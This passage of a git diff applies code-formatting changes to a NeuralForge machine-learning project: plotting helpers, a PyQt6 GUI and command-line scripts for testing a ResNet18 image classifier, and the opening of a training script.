best_accuracy, label='Best Accuracy', linewidth=2, marker='o') - axes[1].plot(generations, avg_accuracy, label='Avg Accuracy', linewidth=2, marker='s') - axes[1].set_xlabel('Generation') - axes[1].set_ylabel('Accuracy (%)') - axes[1].set_title('NAS Accuracy Evolution') + + axes[1].plot( + generations, best_accuracy, label="Best Accuracy", linewidth=2, marker="o" + ) + axes[1].plot( + generations, avg_accuracy, label="Avg Accuracy", linewidth=2, marker="s" + ) + axes[1].set_xlabel("Generation") + axes[1].set_ylabel("Accuracy (%)") + axes[1].set_title("NAS Accuracy Evolution") axes[1].legend() axes[1].grid(True, alpha=0.3) - + plt.tight_layout() - + if save_path: os.makedirs(os.path.dirname(save_path), exist_ok=True) - plt.savefig(save_path, dpi=300, bbox_inches='tight') + plt.savefig(save_path, dpi=300, bbox_inches="tight") print(f"NAS history plot saved to {save_path}") - + plt.close() + def plot_gradient_flow(named_parameters, save_path: Optional[str] = None): ave_grads = [] max_grads = [] layers = [] - + for n, p in named_parameters: if p.requires_grad and p.grad is not None: layers.append(n) ave_grads.append(p.grad.abs().mean().cpu().item()) max_grads.append(p.grad.abs().max().cpu().item()) - + plt.figure(figsize=(12, 6)) - plt.bar(np.arange(len(max_grads)), max_grads, alpha=0.5, lw=1, color="c", label="max gradient") - plt.bar(np.arange(len(ave_grads)), ave_grads, alpha=0.5, lw=1, color="b", label="mean gradient") + plt.bar( + np.arange(len(max_grads)), + max_grads, + alpha=0.5, + lw=1, + color="c", + label="max gradient", + ) + plt.bar( + np.arange(len(ave_grads)), + ave_grads, + alpha=0.5, + lw=1, + color="b", + label="mean gradient", + ) plt.hlines(0, 0, len(ave_grads) + 1, lw=2, color="k") plt.xticks(range(0, len(ave_grads), 1), layers, rotation="vertical") plt.xlim(left=0, right=len(ave_grads)) @@ -183,10 +208,10 @@ def plot_gradient_flow(named_parameters, save_path: Optional[str] = None): plt.grid(True, alpha=0.3) plt.legend() plt.tight_layout() - + if save_path: os.makedirs(os.path.dirname(save_path), exist_ok=True) - plt.savefig(save_path, dpi=300, bbox_inches='tight') + plt.savefig(save_path, dpi=300, bbox_inches="tight") print(f"Gradient flow plot saved to {save_path}") - - plt.close() \ No newline at end of file + + plt.close() diff --git a/ML/tests/gui_test.py b/ML/tests/gui_test.py index c368a004ae2..8dc0411dbf7 100644 --- a/ML/tests/gui_test.py +++ b/ML/tests/gui_test.py @@ -1,11 +1,23 @@ import sys import os -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) -from PyQt6.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, - QHBoxLayout, QPushButton, QLabel, QLineEdit, - QFileDialog, QProgressBar, QTextEdit, QGroupBox, - QGridLayout) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +from PyQt6.QtWidgets import ( + QApplication, + QMainWindow, + QWidget, + QVBoxLayout, + QHBoxLayout, + QPushButton, + QLabel, + QLineEdit, + QFileDialog, + QProgressBar, + QTextEdit, + QGroupBox, + QGridLayout, +) from PyQt6.QtCore import Qt, QThread, pyqtSignal from PyQt6.QtGui import QPixmap, QFont @@ -17,210 +29,226 @@ from src.python.neuralforge.data.datasets import get_dataset, get_num_classes from src.python.neuralforge.models.resnet import ResNet18 + class PredictionThread(QThread): finished = pyqtSignal(list, list, str) error = pyqtSignal(str) - + def __init__(self, model, image_path, classes, device): super().__init__() self.model = model self.image_path = image_path self.classes = classes self.device = device - + def run(self): try: - image = Image.open(self.image_path).convert('RGB') - - transform = transforms.Compose([ - transforms.Resize(256), - transforms.CenterCrop(224), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) - + image = Image.open(self.image_path).convert("RGB") + + transform = transforms.Compose( + [ + transforms.Resize(256), + transforms.CenterCrop(224), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) + image_tensor = transform(image).unsqueeze(0).to(self.device) - + with torch.no_grad(): outputs = self.model(image_tensor) probabilities = F.softmax(outputs, dim=1) - - top5_prob, top5_idx = torch.topk(probabilities, min(5, len(self.classes)), dim=1) - + + top5_prob, top5_idx = torch.topk( + probabilities, min(5, len(self.classes)), dim=1 + ) + predictions = [] confidences = [] - - for idx, prob in zip(top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy()): + + for idx, prob in zip( + top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy() + ): predictions.append(self.classes[idx]) confidences.append(float(prob) * 100) - + main_prediction = predictions[0] - + self.finished.emit(predictions, confidences, main_prediction) - + except Exception as e: self.error.emit(str(e)) + class NeuralForgeGUI(QMainWindow): def __init__(self): super().__init__() self.model = None - self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + self.device = "cuda" if torch.cuda.is_available() else "cpu" self.classes = [] - self.dataset_name = 'cifar10' - + self.dataset_name = "cifar10" + self.init_ui() self.apply_stylesheet() - + def init_ui(self): - self.setWindowTitle('NeuralForge - Model Tester') + self.setWindowTitle("NeuralForge - Model Tester") self.setGeometry(100, 100, 1200, 800) - + central_widget = QWidget() self.setCentralWidget(central_widget) - + main_layout = QHBoxLayout() central_widget.setLayout(main_layout) - + left_panel = self.create_left_panel() right_panel = self.create_right_panel() - + main_layout.addWidget(left_panel, 1) main_layout.addWidget(right_panel, 1) - + def create_left_panel(self): panel = QWidget() layout = QVBoxLayout() panel.setLayout(layout) - - title = QLabel('🚀 NeuralForge Model Tester') - title.setFont(QFont('Arial', 20, QFont.Weight.Bold)) + + title = QLabel("🚀 NeuralForge Model Tester") + title.setFont(QFont("Arial", 20, QFont.Weight.Bold)) title.setAlignment(Qt.AlignmentFlag.AlignCenter) layout.addWidget(title) - - model_group = QGroupBox('Model Selection') + + model_group = QGroupBox("Model Selection") model_layout = QVBoxLayout() - + model_path_layout = QHBoxLayout() self.model_path_input = QLineEdit() - self.model_path_input.setPlaceholderText('Path to model file (.pt)') + self.model_path_input.setPlaceholderText("Path to model file (.pt)") model_path_layout.addWidget(self.model_path_input) - - browse_btn = QPushButton('Browse') + + browse_btn = QPushButton("Browse") browse_btn.clicked.connect(self.browse_model) model_path_layout.addWidget(browse_btn) - - default_btn = QPushButton('Use Default') + + default_btn = QPushButton("Use Default") default_btn.clicked.connect(self.use_default_model) model_path_layout.addWidget(default_btn) - + model_layout.addLayout(model_path_layout) - + dataset_layout = QHBoxLayout() - dataset_label = QLabel('Dataset:') - self.dataset_input = QLineEdit('cifar10') - self.dataset_input.setPlaceholderText('cifar10, mnist, stl10, tiny_imagenet, etc.') - self.dataset_input.setToolTip('Supported: cifar10, cifar100, mnist, fashion_mnist, stl10,\ntiny_imagenet, imagenet, food101, caltech256, oxford_pets') + dataset_label = QLabel("Dataset:") + self.dataset_input = QLineEdit("cifar10") + self.dataset_input.setPlaceholderText( + "cifar10, mnist, stl10, tiny_imagenet, etc." + ) + self.dataset_input.setToolTip( + "Supported: cifar10, cifar100, mnist, fashion_mnist, stl10,\ntiny_imagenet, imagenet, food101, caltech256, oxford_pets" + ) dataset_layout.addWidget(dataset_label) dataset_layout.addWidget(self.dataset_input) model_layout.addLayout(dataset_layout) - - self.load_model_btn = QPushButton('Load Model') + + self.load_model_btn = QPushButton("Load Model") self.load_model_btn.clicked.connect(self.load_model) model_layout.addWidget(self.load_model_btn) - - self.model_status = QLabel('No model loaded') + + self.model_status = QLabel("No model loaded") self.model_status.setAlignment(Qt.AlignmentFlag.AlignCenter) model_layout.addWidget(self.model_status) - + model_group.setLayout(model_layout) layout.addWidget(model_group) - - image_group = QGroupBox('Image Selection') + + image_group = QGroupBox("Image Selection") image_layout = QVBoxLayout() - + image_path_layout = QHBoxLayout() self.image_path_input = QLineEdit() - self.image_path_input.setPlaceholderText('Path to image file') + self.image_path_input.setPlaceholderText("Path to image file") image_path_layout.addWidget(self.image_path_input) - - browse_image_btn = QPushButton('Browse') + + browse_image_btn = QPushButton("Browse") browse_image_btn.clicked.connect(self.browse_image) image_path_layout.addWidget(browse_image_btn) - + image_layout.addLayout(image_path_layout) - + self.image_preview = QLabel() self.image_preview.setAlignment(Qt.AlignmentFlag.AlignCenter) self.image_preview.setMinimumHeight(300) - self.image_preview.setStyleSheet('border: 2px dashed #666; border-radius: 10px;') - self.image_preview.setText('No image selected') + self.image_preview.setStyleSheet( + "border: 2px dashed #666; border-radius: 10px;" + ) + self.image_preview.setText("No image selected") image_layout.addWidget(self.image_preview) - - self.predict_btn = QPushButton('🔍 Predict') + + self.predict_btn = QPushButton("🔍 Predict") self.predict_btn.clicked.connect(self.predict_image) self.predict_btn.setEnabled(False) image_layout.addWidget(self.predict_btn) - + image_group.setLayout(image_layout) layout.addWidget(image_group) - + layout.addStretch() - + return panel - + def create_right_panel(self): panel = QWidget() layout = QVBoxLayout() panel.setLayout(layout) - - results_group = QGroupBox('Prediction Results') + + results_group = QGroupBox("Prediction Results") results_layout = QVBoxLayout() - - self.main_prediction = QLabel('No prediction yet') - self.main_prediction.setFont(QFont('Arial', 24, QFont.Weight.Bold)) + + self.main_prediction = QLabel("No prediction yet") + self.main_prediction.setFont(QFont("Arial", 24, QFont.Weight.Bold)) self.main_prediction.setAlignment(Qt.AlignmentFlag.AlignCenter) - self.main_prediction.setStyleSheet('color: #4CAF50; padding: 20px;') + self.main_prediction.setStyleSheet("color: #4CAF50; padding: 20px;") results_layout.addWidget(self.main_prediction) - - self.confidence_label = QLabel('') - self.confidence_label.setFont(QFont('Arial', 16)) + + self.confidence_label = QLabel("") + self.confidence_label.setFont(QFont("Arial", 16)) self.confidence_label.setAlignment(Qt.AlignmentFlag.AlignCenter) results_layout.addWidget(self.confidence_label) - + self.progress_bar = QProgressBar() self.progress_bar.setVisible(False) results_layout.addWidget(self.progress_bar) - + results_group.setLayout(results_layout) layout.addWidget(results_group) - - top5_group = QGroupBox('Top-5 Predictions') + + top5_group = QGroupBox("Top-5 Predictions") top5_layout = QVBoxLayout() - + self.top5_display = QTextEdit() self.top5_display.setReadOnly(True) self.top5_display.setMinimumHeight(200) top5_layout.addWidget(self.top5_display) - + top5_group.setLayout(top5_layout) layout.addWidget(top5_group) - - info_group = QGroupBox('Model Information') + + info_group = QGroupBox("Model Information") info_layout = QVBoxLayout() - + self.model_info = QTextEdit() self.model_info.setReadOnly(True) self.model_info.setMaximumHeight(150) info_layout.addWidget(self.model_info) - + info_group.setLayout(info_layout) layout.addWidget(info_group) - + layout.addStretch() - + return panel - + def apply_stylesheet(self): qss = """ QMainWindow { @@ -309,117 +337,130 @@ def apply_stylesheet(self): } """ self.setStyleSheet(qss) - + def browse_model(self): file_path, _ = QFileDialog.getOpenFileName( - self, - 'Select Model File', - '../models', - 'Model Files (*.pt *.pth);;All Files (*.*)' + self, + "Select Model File", + "../models", + "Model Files (*.pt *.pth);;All Files (*.*)", ) if file_path: self.model_path_input.setText(file_path) - + def use_default_model(self): - default_path = os.path.join(os.path.dirname(__file__), '..', 'models', 'final_model.pt') + default_path = os.path.join( + os.path.dirname(__file__), "..", "models", "final_model.pt" + ) self.model_path_input.setText(os.path.abspath(default_path)) - + def browse_image(self): file_path, _ = QFileDialog.getOpenFileName( self, - 'Select Image File', - '', - 'Image Files (*.png *.jpg *.jpeg *.bmp *.gif);;All Files (*.*)' + "Select Image File", + "", + "Image Files (*.png *.jpg *.jpeg *.bmp *.gif);;All Files (*.*)", ) if file_path: self.image_path_input.setText(file_path) self.display_image(file_path) - + def display_image(self, image_path): try: pixmap = QPixmap(image_path) - scaled_pixmap = pixmap.scaled(400, 300, Qt.AspectRatioMode.KeepAspectRatio, - Qt.TransformationMode.SmoothTransformation) + scaled_pixmap = pixmap.scaled( + 400, + 300, + Qt.AspectRatioMode.KeepAspectRatio, + Qt.TransformationMode.SmoothTransformation, + ) self.image_preview.setPixmap(scaled_pixmap) except Exception as e: - self.image_preview.setText(f'Error loading image: {e}') - + self.image_preview.setText(f"Error loading image: {e}") + def load_model(self): model_path = self.model_path_input.text() dataset_input = self.dataset_input.text().lower().strip() - + dataset_aliases = { - 'cifar10': 'cifar10', - 'cifar-10': 'cifar10', - 'cifar_10': 'cifar10', - 'cifar100': 'cifar100', - 'cifar-100': 'cifar100', - 'cifar_100': 'cifar100', - 'mnist': 'mnist', - 'fashionmnist': 'fashion_mnist', - 'fashion-mnist': 'fashion_mnist', - 'fashion_mnist': 'fashion_mnist', - 'stl10': 'stl10', - 'stl-10': 'stl10', - 'stl_10': 'stl10', - 'tinyimagenet': 'tiny_imagenet', - 'tiny-imagenet': 'tiny_imagenet', - 'tiny_imagenet': 'tiny_imagenet', - 'imagenet': 'imagenet', - 'food101': 'food101', - 'food-101': 'food101', - 'food_101': 'food101', - 'caltech256': 'caltech256', - 'caltech-256': 'caltech256', - 'caltech_256': 'caltech256', - 'oxfordpets': 'oxford_pets', - 'oxford-pets': 'oxford_pets', - 'oxford_pets': 'oxford_pets', + "cifar10": "cifar10", + "cifar-10": "cifar10", + "cifar_10": "cifar10", + "cifar100": "cifar100", + "cifar-100": "cifar100", + "cifar_100": "cifar100", + "mnist": "mnist", + "fashionmnist": "fashion_mnist", + "fashion-mnist": "fashion_mnist", + "fashion_mnist": "fashion_mnist", + "stl10": "stl10", + "stl-10": "stl10", + "stl_10": "stl10", + "tinyimagenet": "tiny_imagenet", + "tiny-imagenet": "tiny_imagenet", + "tiny_imagenet": "tiny_imagenet", + "imagenet": "imagenet", + "food101": "food101", + "food-101": "food101", + "food_101": "food101", + "caltech256": "caltech256", + "caltech-256": "caltech256", + "caltech_256": "caltech256", + "oxfordpets": "oxford_pets", + "oxford-pets": "oxford_pets", + "oxford_pets": "oxford_pets", } - + self.dataset_name = dataset_aliases.get(dataset_input, dataset_input) - + if not model_path: - self.model_status.setText('Please select a model file') - self.model_status.setStyleSheet('color: #f44336;') + self.model_status.setText("Please select a model file") + self.model_status.setStyleSheet("color: #f44336;") return - + if not os.path.exists(model_path): - self.model_status.setText('Model file not found') - self.model_status.setStyleSheet('color: #f44336;') + self.model_status.setText("Model file not found") + self.model_status.setStyleSheet("color: #f44336;") return - + try: - self.model_status.setText('Loading model...') - self.model_status.setStyleSheet('color: #FFC107;') + self.model_status.setText("Loading model...") + self.model_status.setStyleSheet("color: #FFC107;") QApplication.processEvents() - + num_classes = get_num_classes(self.dataset_name) self.model = ResNet18(num_classes=num_classes) self.model = self.model.to(self.device) - - checkpoint = torch.load(model_path, map_location=self.device, weights_only=False) - self.model.load_state_dict(checkpoint['model_state_dict']) + + checkpoint = torch.load( + model_path, map_location=self.device, weights_only=False + ) + self.model.load_state_dict(checkpoint["model_state_dict"]) self.model.eval() - + try: dataset = get_dataset(self.dataset_name, train=False, download=False) - self.classes = getattr(dataset, 'classes', [str(i) for i in range(num_classes)]) + self.classes = getattr( + dataset, "classes", [str(i) for i in range(num_classes)] + ) except: from src.python.neuralforge.data.datasets import get_class_names + self.classes = get_class_names(self.dataset_name) - - self.model_status.setText(f'✓ Model loaded successfully') - self.model_status.setStyleSheet('color: #4CAF50;') - + + self.model_status.setText(f"✓ Model loaded successfully") + self.model_status.setStyleSheet("color: #4CAF50;") + self.predict_btn.setEnabled(True) - + total_params = sum(p.numel() for p in self.model.parameters()) - epoch = checkpoint.get('epoch', 'Unknown') - val_loss = checkpoint.get('best_val_loss', 'Unknown') - - val_loss_str = f"{val_loss:.4f}" if isinstance(val_loss, float) else str(val_loss) - + epoch = checkpoint.get("epoch", "Unknown") + val_loss = checkpoint.get("best_val_loss", "Unknown") + + val_loss_str = ( + f"{val_loss:.4f}" if isinstance(val_loss, float) else str(val_loss) + ) + info_text = f""" Model: ResNet18 Dataset: {self.dataset_name.upper()} @@ -430,57 +471,62 @@ def load_model(self): Device: {self.device.upper()} """ self.model_info.setText(info_text.strip()) - + except Exception as e: - self.model_status.setText(f'Error: {str(e)}') - self.model_status.setStyleSheet('color: #f44336;') - + self.model_status.setText(f"Error: {str(e)}") + self.model_status.setStyleSheet("color: #f44336;") + def predict_image(self): image_path = self.image_path_input.text() - + if not image_path or not os.path.exists(image_path): - self.main_prediction.setText('Please select a valid image') - self.main_prediction.setStyleSheet('color: #f44336;') + self.main_prediction.setText("Please select a valid image") + self.main_prediction.setStyleSheet("color: #f44336;") return - + if self.model is None: - self.main_prediction.setText('Please load a model first') - self.main_prediction.setStyleSheet('color: #f44336;') + self.main_prediction.setText("Please load a model first") + self.main_prediction.setStyleSheet("color: #f44336;") return - + self.predict_btn.setEnabled(False) self.progress_bar.setVisible(True) self.progress_bar.setRange(0, 0) - - self.prediction_thread = PredictionThread(self.model, image_path, self.classes, self.device) + + self.prediction_thread = PredictionThread( + self.model, image_path, self.classes, self.device + ) self.prediction_thread.finished.connect(self.display_results) self.prediction_thread.error.connect(self.display_error) self.prediction_thread.start() - + def display_results(self, predictions, confidences, main_prediction): self.progress_bar.setVisible(False) self.predict_btn.setEnabled(True) - - self.main_prediction.setText(f'🎯 {main_prediction}') - self.main_prediction.setStyleSheet('color: #4CAF50; padding: 20px; font-size: 28px;') - - self.confidence_label.setText(f'Confidence: {confidences[0]:.2f}%') - - top5_text = '

Top-5 Predictions:


' + + self.main_prediction.setText(f"🎯 {main_prediction}") + self.main_prediction.setStyleSheet( + "color: #4CAF50; padding: 20px; font-size: 28px;" + ) + + self.confidence_label.setText(f"Confidence: {confidences[0]:.2f}%") + + top5_text = "

Top-5 Predictions:


" for i, (pred, conf) in enumerate(zip(predictions, confidences), 1): bar_width = int(conf * 3) - bar = '█' * bar_width + bar = "█" * bar_width top5_text += f'

{i}. {pred}
' top5_text += f'{bar} {conf:.2f}%

' - + self.top5_display.setHtml(top5_text) - + def display_error(self, error_msg): self.progress_bar.setVisible(False) self.predict_btn.setEnabled(True) - - self.main_prediction.setText(f'Error: {error_msg}') - self.main_prediction.setStyleSheet('color: #f44336;') + + self.main_prediction.setText(f"Error: {error_msg}") + self.main_prediction.setStyleSheet("color: #f44336;") + def main(): app = QApplication(sys.argv) @@ -488,5 +534,6 @@ def main(): window.show() sys.exit(app.exec()) -if __name__ == '__main__': - main() \ No newline at end of file + +if __name__ == "__main__": + main() diff --git a/ML/tests/quick_test.py b/ML/tests/quick_test.py index 7d89d2c36e7..f0f1959f652 100644 --- a/ML/tests/quick_test.py +++ b/ML/tests/quick_test.py @@ -1,7 +1,7 @@ import sys import os -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) import torch from src.python.neuralforge.data.datasets import get_dataset @@ -13,7 +13,7 @@ print("\n[1/3] Testing CIFAR-10 dataset download...") try: - dataset = get_dataset('cifar10', root='./data', train=False, download=True) + dataset = get_dataset("cifar10", root="./data", train=False, download=True) print(f"✓ CIFAR-10 loaded: {len(dataset)} samples") print(f" Classes: {dataset.classes}") except Exception as e: diff --git a/ML/tests/test_model.py b/ML/tests/test_model.py index b1fe00d72fa..2b07f77a146 100644 --- a/ML/tests/test_model.py +++ b/ML/tests/test_model.py @@ -1,7 +1,7 @@ import sys import os -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) import torch import torch.nn.functional as F @@ -9,102 +9,120 @@ from PIL import Image import numpy as np -from src.python.neuralforge.data.datasets import get_dataset, get_num_classes, get_class_names +from src.python.neuralforge.data.datasets import ( + get_dataset, + get_num_classes, + get_class_names, +) from src.python.neuralforge.models.resnet import ResNet18 + class ModelTester: - def __init__(self, model_path='./models/best_model.pt', dataset='cifar10', device='cuda'): - self.device = device if torch.cuda.is_available() else 'cpu' + def __init__( + self, model_path="./models/best_model.pt", dataset="cifar10", device="cuda" + ): + self.device = device if torch.cuda.is_available() else "cpu" self.dataset_name = dataset - + print("=" * 60) print(" NeuralForge - Interactive Model Testing") print("=" * 60) print(f"Device: {self.device}") - + num_classes = get_num_classes(dataset) self.model = self.create_model(num_classes) - + if os.path.exists(model_path): print(f"Loading model from: {model_path}") - checkpoint = torch.load(model_path, map_location=self.device, weights_only=False) - self.model.load_state_dict(checkpoint['model_state_dict']) + checkpoint = torch.load( + model_path, map_location=self.device, weights_only=False + ) + self.model.load_state_dict(checkpoint["model_state_dict"]) print(f"Model loaded from epoch {checkpoint['epoch']}") else: print(f"Warning: No model found at {model_path}, using untrained model") - + self.model.eval() - - test_dataset = get_dataset(dataset, root='./data', train=False, download=True) + + test_dataset = get_dataset(dataset, root="./data", train=False, download=True) self.dataset = test_dataset.dataset self.classes = get_class_names(dataset) - - if dataset in ['mnist', 'fashion_mnist']: + + if dataset in ["mnist", "fashion_mnist"]: self.image_size = 28 - elif dataset in ['cifar10', 'cifar100']: + elif dataset in ["cifar10", "cifar100"]: self.image_size = 32 - elif dataset == 'stl10': + elif dataset == "stl10": self.image_size = 96 else: self.image_size = 224 - + print(f"Dataset: {dataset} ({len(self.dataset)} test samples)") print(f"Classes: {len(self.classes)}") print("=" * 60) - + def create_model(self, num_classes): model = ResNet18(num_classes=num_classes) return model.to(self.device) - + def predict_image(self, image_tensor): with torch.no_grad(): image_tensor = image_tensor.unsqueeze(0).to(self.device) outputs = self.model(image_tensor) probabilities = F.softmax(outputs, dim=1) confidence, predicted = torch.max(probabilities, 1) - - top5_prob, top5_idx = torch.topk(probabilities, min(5, len(self.classes)), dim=1) - - return predicted.item(), confidence.item(), top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy() - + + top5_prob, top5_idx = torch.topk( + probabilities, min(5, len(self.classes)), dim=1 + ) + + return ( + predicted.item(), + confidence.item(), + top5_idx[0].cpu().numpy(), + top5_prob[0].cpu().numpy(), + ) + def test_random_samples(self, num_samples=10): print(f"\nTesting {num_samples} random samples...") print("-" * 60) - + correct = 0 indices = np.random.choice(len(self.dataset), num_samples, replace=False) - + for i, idx in enumerate(indices, 1): image, label = self.dataset[idx] pred_class, confidence, top5_idx, top5_prob = self.predict_image(image) - + true_label = self.classes[label] pred_label = self.classes[pred_class] - + is_correct = pred_class == label correct += is_correct - + status = "✓" if is_correct else "✗" - print(f"{i:2d}. {status} True: {true_label:15s} | Pred: {pred_label:15s} | Conf: {confidence:.2%}") - + print( + f"{i:2d}. {status} True: {true_label:15s} | Pred: {pred_label:15s} | Conf: {confidence:.2%}" + ) + if not is_correct: print(f" Top-5: ", end="") for j, (idx, prob) in enumerate(zip(top5_idx, top5_prob)): print(f"{self.classes[idx]}({prob:.1%})", end=" ") print() - + accuracy = correct / num_samples print("-" * 60) print(f"Accuracy: {accuracy:.1%} ({correct}/{num_samples})") - + def test_specific_sample(self, index): if index < 0 or index >= len(self.dataset): - print(f"Error: Index must be between 0 and {len(self.dataset)-1}") + print(f"Error: Index must be between 0 and {len(self.dataset) - 1}") return - + image, label = self.dataset[index] pred_class, confidence, top5_idx, top5_prob = self.predict_image(image) - + print(f"\nSample #{index}") print("-" * 60) print(f"True Label: {self.classes[label]}") @@ -114,54 +132,62 @@ def test_specific_sample(self, index): print("\nTop-5 Predictions:") for i, (idx, prob) in enumerate(zip(top5_idx, top5_prob), 1): print(f" {i}. {self.classes[idx]:15s} {prob:.2%}") - + def test_class_accuracy(self): print("\nCalculating per-class accuracy...") print("-" * 60) - + class_correct = [0] * len(self.classes) class_total = [0] * len(self.classes) - + with torch.no_grad(): for i, (image, label) in enumerate(self.dataset): pred_class, _, _, _ = self.predict_image(image) class_total[label] += 1 if pred_class == label: class_correct[label] += 1 - + if (i + 1) % 100 == 0: - print(f"Processed {i + 1}/{len(self.dataset)} samples...", end='\r') - - print(" " * 60, end='\r') + print(f"Processed {i + 1}/{len(self.dataset)} samples...", end="\r") + + print(" " * 60, end="\r") print("Per-class Accuracy:") - + overall_correct = sum(class_correct) overall_total = sum(class_total) - + for i, class_name in enumerate(self.classes): if class_total[i] > 0: acc = 100.0 * class_correct[i] / class_total[i] - print(f" {class_name:15s}: {acc:5.1f}% ({class_correct[i]}/{class_total[i]})") - + print( + f" {class_name:15s}: {acc:5.1f}% ({class_correct[i]}/{class_total[i]})" + ) + print("-" * 60) - print(f"Overall Accuracy: {100.0 * overall_correct / overall_total:.2f}% ({overall_correct}/{overall_total})") - + print( + f"Overall Accuracy: {100.0 * overall_correct / overall_total:.2f}% ({overall_correct}/{overall_total})" + ) + def test_custom_image(self, image_path): if not os.path.exists(image_path): print(f"Error: Image not found at {image_path}") return - + try: - image = Image.open(image_path).convert('RGB') - - transform = transforms.Compose([ - transforms.Resize((self.image_size, self.image_size)), - transforms.ToTensor(), - ]) - + image = Image.open(image_path).convert("RGB") + + transform = transforms.Compose( + [ + transforms.Resize((self.image_size, self.image_size)), + transforms.ToTensor(), + ] + ) + image_tensor = transform(image) - pred_class, confidence, top5_idx, top5_prob = self.predict_image(image_tensor) - + pred_class, confidence, top5_idx, top5_prob = self.predict_image( + image_tensor + ) + print(f"\nCustom Image: {image_path}") print("-" * 60) print(f"Predicted: {self.classes[pred_class]}") @@ -169,10 +195,10 @@ def test_custom_image(self, image_path): print("\nTop-5 Predictions:") for i, (idx, prob) in enumerate(zip(top5_idx, top5_prob), 1): print(f" {i}. {self.classes[idx]:15s} {prob:.2%}") - + except Exception as e: print(f"Error loading image: {e}") - + def interactive_mode(self): print("\n" + "=" * 60) print(" Interactive Mode") @@ -185,81 +211,109 @@ def interactive_mode(self): print(" help - Show this help") print(" exit - Exit interactive mode") print() - + while True: try: command = input(">>> ").strip().lower() - + if not command: continue - - if command == 'exit' or command == 'quit': + + if command == "exit" or command == "quit": print("Exiting...") break - - elif command == 'help': + + elif command == "help": self.interactive_mode() return - - elif command.startswith('random'): + + elif command.startswith("random"): parts = command.split() n = int(parts[1]) if len(parts) > 1 else 10 self.test_random_samples(n) - - elif command.startswith('sample'): + + elif command.startswith("sample"): parts = command.split() if len(parts) < 2: print("Usage: sample ") else: idx = int(parts[1]) self.test_specific_sample(idx) - - elif command.startswith('image'): + + elif command.startswith("image"): parts = command.split(maxsplit=1) if len(parts) < 2: print("Usage: image ") else: self.test_custom_image(parts[1]) - - elif command == 'accuracy': + + elif command == "accuracy": self.test_class_accuracy() - + else: print(f"Unknown command: {command}") print("Type 'help' for available commands") - + except KeyboardInterrupt: print("\nExiting...") break except Exception as e: print(f"Error: {e}") + def main(): import argparse - - parser = argparse.ArgumentParser(description='Test trained NeuralForge model') - - default_model = os.path.join(os.path.dirname(__file__), '..', 'models', 'best_model.pt') - parser.add_argument('--model', type=str, default=default_model, help='Path to model checkpoint') - parser.add_argument('--dataset', type=str, default='cifar10', - choices=['cifar10', 'cifar100', 'mnist', 'fashion_mnist', 'stl10', - 'tiny_imagenet', 'imagenet', 'food101', 'caltech256', 'oxford_pets'], - help='Dataset to test on') - parser.add_argument('--device', type=str, default='cuda', help='Device to use') - parser.add_argument('--mode', type=str, default='interactive', - choices=['interactive', 'random', 'accuracy'], - help='Testing mode') - parser.add_argument('--samples', type=int, default=10, help='Number of samples for random mode') + + parser = argparse.ArgumentParser(description="Test trained NeuralForge model") + + default_model = os.path.join( + os.path.dirname(__file__), "..", "models", "best_model.pt" + ) + parser.add_argument( + "--model", type=str, default=default_model, help="Path to model checkpoint" + ) + parser.add_argument( + "--dataset", + type=str, + default="cifar10", + choices=[ + "cifar10", + "cifar100", + "mnist", + "fashion_mnist", + "stl10", + "tiny_imagenet", + "imagenet", + "food101", + "caltech256", + "oxford_pets", + ], + help="Dataset to test on", + ) + parser.add_argument("--device", type=str, default="cuda", help="Device to use") + parser.add_argument( + "--mode", + type=str, + default="interactive", + choices=["interactive", "random", "accuracy"], + help="Testing mode", + ) + parser.add_argument( + "--samples", type=int, default=10, help="Number of samples for random mode" + ) args = parser.parse_args() - - tester = ModelTester(model_path=args.model, dataset=args.dataset, device=args.device) - - if args.mode == 'interactive': + + tester = ModelTester( + model_path=args.model, dataset=args.dataset, device=args.device + ) + + if args.mode == "interactive": tester.interactive_mode() - elif args.mode == 'random': + elif args.mode == "random": tester.test_random_samples(args.samples) - elif args.mode == 'accuracy': + elif args.mode == "accuracy": tester.test_class_accuracy() -if __name__ == '__main__': + +if __name__ == "__main__": main() diff --git a/ML/train.py b/ML/train.py index 66f0be14e36..1ca64a743d4 100644 --- a/ML/train.py +++ b/ML/train.py @@ -16,6 +16,7 @@ from src.python.neuralforge.models.resnet import ResNet18 from src.python.neuralforge.utils.logger import Logger + def set_seed(seed): random.seed(seed) np.random.seed(seed) @@ -24,44 +25,67 @@ def set_seed(seed): torch.backends.cudnn.deterministic = True torch.backends.cudnn.benchmark = False + def create_simple_model(num_classes=10): return nn.Sequential( nn.Conv2d(3, 32, 3, padding=1), nn.BatchNorm2d(32), nn.ReLU(inplace=True), nn.MaxPool2d(2), - nn.Conv2d(32, 64, 3, padding=1), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.MaxPool2d(2), - nn.Conv2d(64, 128, 3, padding=1), nn.BatchNorm2d(128), nn.ReLU(inplace=True), nn.AdaptiveAvgPool2d(1), - nn.Flatten(), - nn.Linear(128, num_classes) + nn.Linear(128, num_classes), ) + def main(): - parser = argparse.ArgumentParser(description='NeuralForge Training') - parser.add_argument('--config', type=str, default=None, help='Path to config file') - parser.add_argument('--model', type=str, default='simple', choices=['simple', 'resnet18', 'efficientnet', 'vit']) - parser.add_argument('--batch-size', type=int, default=32) - parser.add_argument('--epochs', type=int, default=50) - parser.add_argument('--lr', type=float, default=0.001) - parser.add_argument('--device', type=str, default='cuda' if torch.cuda.is_available() else 'cpu') - parser.add_argument('--num-samples', type=int, default=5000, help='Number of synthetic samples') - parser.add_argument('--num-classes', type=int, default=10) - parser.add_argument('--seed', type=int, default=42) - parser.add_argument('--dataset', type=str, default='synthetic', - choices=['synthetic', 'cifar10', 'cifar100', 'mnist', 